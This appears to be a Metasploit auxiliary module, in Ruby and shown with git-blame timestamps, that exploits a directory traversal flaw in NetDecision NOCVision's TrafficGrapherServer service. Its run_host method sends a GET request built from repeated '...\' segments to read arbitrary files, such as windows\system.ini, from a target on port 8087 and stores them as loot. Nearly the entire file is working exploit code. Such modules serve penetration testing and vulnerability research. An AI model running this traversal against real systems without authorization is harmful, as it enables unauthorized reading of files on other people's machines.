2012-03-14 21:50:54 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-03-14 21:50:54 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'NetDecision NOCVision Server Directory Traversal',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal bug in NetDecision's
|
|
|
|
TrafficGrapherServer.exe service. This is done by using "...\" in
|
|
|
|
the path to retrieve a file on a vulnerable machine.
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '79863' ],
|
|
|
|
[ 'URL', 'http://aluigi.altervista.org/adv/netdecision_1-adv.txt' ],
|
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Luigi Auriemma', #Initial discovery, poc
|
|
|
|
'sinn3r'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'DisclosureDate' => "Mar 07 2012"
|
|
|
|
))
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
# 8087 = TrafficGrapherServer
|
|
|
|
# 8090 = NOCVisionServer
|
|
|
|
Opt::RPORT(8087),
|
|
|
|
OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\system.ini'])
|
|
|
|
], self.class)
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
deregister_options('RHOST')
|
|
|
|
end
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
|
|
|
trav = "...\\...\\...\\...\\...\\...\\"
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# In case the user doesn't realize he doesn't need to begin with "\",
|
|
|
|
# we'll correct that for him
|
|
|
|
file = datastore['FILEPATH']
|
|
|
|
file = file[1,file.length] if file[0,1] == "\\"
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
uri = "/#{trav}#{file}"
|
|
|
|
print_status("#{ip}:#{rport} - Retriving #{file}")
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => uri
|
|
|
|
}, 25)
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res
|
|
|
|
print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
|
|
|
|
else
|
|
|
|
print_error("#{ip}:#{rport} - No response")
|
|
|
|
return
|
|
|
|
end
|
2012-03-14 21:50:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res.body.empty?
|
|
|
|
print_error("No file to download (empty)")
|
|
|
|
else
|
|
|
|
fname = File.basename(datastore['FILEPATH'])
|
|
|
|
path = store_loot(
|
|
|
|
'netdecision.http',
|
|
|
|
'application/octet-stream',
|
|
|
|
ip,
|
|
|
|
res.body,
|
|
|
|
fname)
|
|
|
|
print_status("File saved in: #{path}")
|
|
|
|
end
|
|
|
|
end
|
2012-03-15 20:31:25 +00:00
|
|
|
end
|